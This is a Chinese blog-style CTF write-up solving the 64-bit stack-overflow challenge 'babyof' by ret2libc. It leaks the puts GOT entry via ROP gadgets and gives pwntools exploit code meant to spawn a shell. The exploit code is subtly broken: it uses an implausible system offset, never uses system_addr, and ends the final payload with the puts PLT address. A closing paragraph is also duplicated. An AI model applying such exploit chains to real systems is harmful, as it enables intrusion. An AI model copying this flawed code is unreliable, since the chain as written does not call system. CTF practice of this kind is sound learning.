day2-4 3日刷题笔记

day2-4

首先解释一下为什么这个专栏刚发了一篇就断更了:因为太难了…三天才把这道babyfo写出来,只能说太痛苦了,后面的话看情况决定这几天的题还补不补,实在没时间的话不补也行。

babyof

​ 真不错,研究了三天终于是把这道题给搞懂了

  • 这是一道只有栈不可执行保护的return2libc类型题目
思路

首先拿到赛题后先进行保护的查看

在这里插入图片描述

仅有一个NX——栈不可执行,64位程序

随后IDA反编译,找到漏洞函数read( ),有0x100的填充范围

在这里插入图片描述

​ 简单找了找,没有直接的提权函数,只能自己写了。考虑到存在puts函数,所以可以当做ret2libc类型的题来写。

​ 基本思路是通过puts( )函数泄露一下got中存放的真实位置随后根据libc库内函数的相对偏移量不变的特性推导出system函数和’\bin\sh’字符串的真实位置,随后直接调用即可。

由于64位操作系统函数调用的前几个参数不是放在栈中,所以我们要先让对应寄存器指向要泄露的值。利用ROPgadget找到我们要利用的gadgets片段。通过这条指令:ROPgadget --binary pwn --only 'pop|rdi|ret'

在这里插入图片描述

我们要利用到其中的 ret 和pop rdi; ret 把他们的地址记下

0x0000000000400743 : pop rdi ; ret
0x0000000000400506 : ret

随后要调用puts函数把puts函数的真实地址泄露出来。

我们直接在程序中找到.got和.plt地址即可。

在这里插入图片描述

在这里插入图片描述

  • 这里我说一下plt和got分别是什么:

    • got表里存放的是链接的外部函数加载在内存中的实际位置,plt里存放的是got表的位置,我通过调用plt实现从got表里查询到外部函数位置并调用。

    • libc外部库加载在内存中的相对位置是固定的,所以在泄露了got表之后可以根据相对偏移量执行攻击代码。

由于我们到这里就可以对got表进行泄露了,不过由于每次加载外部库的位置并不是固定的,所以我们要在一次程序执行的过程中完成got表泄露和利用,这点也简单,只要理解了逻辑就不难。我们只要控制程序流再次执行main函数就可以了

那么再找一下main函数的地址:

在这里插入图片描述

随后就可以着手泄露.got表,前半部分exp:

from pwn import *

# sh = remote('node4.anna.nssctf.cn',28195)
sh = process('./pwn')
elf = ELF('./pwn')
# 为下面的.got['puts']函数使用,在IDA找到可不用

ret_addr = 0x400506
pop_rdi = 0x400743
main_addr = 0x40066B
puts_got = elf.got['puts']
# 这一句就相当于我们直接在程序中找到puts函数的.got地址

payload = b'a'*(0x40+8) + p64(pop_rdi) + p64(puts_got) + p64(0x400520) + p64(main_addr)

sh.sendafter(b'overflow?',payload)

上面的注释那个地方狠狠的坑了我一把,不知道为什么我的.got( )和.sym( )都指向他的.got地址,而刚开始我又不知道.got和.plt具体是干啥的(最开始我还以为这俩作用一样,现在知道调用要用plt,至于got里面存放的是地址,函数的真实地址。.got没有调用的功能),所以迷惑了好久。

  • 此时我们已经泄露了got表,随后获取并利用就行了

用以下语句来读取泄露的地址值:puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

所谓的puts_addr就是puts函数在内存中存放的位置,也就是绝对地址

由于libc库内函数的相对位置不变,所以直接利用偏移量计算得到system和str_bin_sh绝对地址即可。

  • 由于libc函数的版本不同,所以相对偏移量不会固定,需要先找到对应libc库的版本号之后再据此查找偏移量。
  • 可以去这上面搜一下libc

随后就是正常的构建ROP链调用system函数提权即可:

后半部分exp:

puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system_addr = puts_addr - 0x31550433
str_binsh_addr = puts_addr + 0x1648ca

payload = b'a'*0x48 + p64(ret_addr) + p64(pop_rdi) + p64(str_binsh_addr) + p64(0x400520)
print(b'/bin/sh'.decode('ASCII'))
sh.sendafter(b'overflow?',payload)

sh.interactive()
反思

在写这道题的过程中遇到了不少的问题,每个问题的发现都让我花费了好长时间,索性在这里记录一下。以免再犯

  1. 在使用**sendafter( )**的时候,第一项参数我多加了一个’\n’结果就导致了我的输入死活不对,翻来覆去搞了两天才明白过来,所以说,这东西千万别乱用,不然真的很容易出事儿
  2. 在调用puts函数的时候,我使用了.got地址,这个地址里存放的仅仅是一个地址而是,不是一个函数调用。应使用plt地址的
  3. 刚开始的时候代码逻辑很混乱,特别是改了一段时间的错误之后,好多行代码堆积到一块儿,真的看着就头大,建议还是不同功能的小块儿分开放置,便于区分
最后

写这一道题花费了我三天的时间(虽然有点水分),本来想要一天三题的我被迫三天一题(悲…)。后面的话,看情况补一下吧,如果实在不行的话就算了,这三天努力的收获还是可以的,我感觉我已经很清晰的了解到ret2ilbc的原理并可加以运用了。(*v*)

我三天的时间(虽然有点水分),本来想要一天三题的我被迫三天一题(悲…)。后面的话,看情况补一下吧,如果实在不行的话就算了,这三天努力的收获还是可以的,我感觉我已经很清晰的了解到ret2ilbc的原理并可加以运用了。(*v*)

水一题

看到第一页没写满,有点难受,索性把最后一题补上,由于太简单了,所以水一道
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值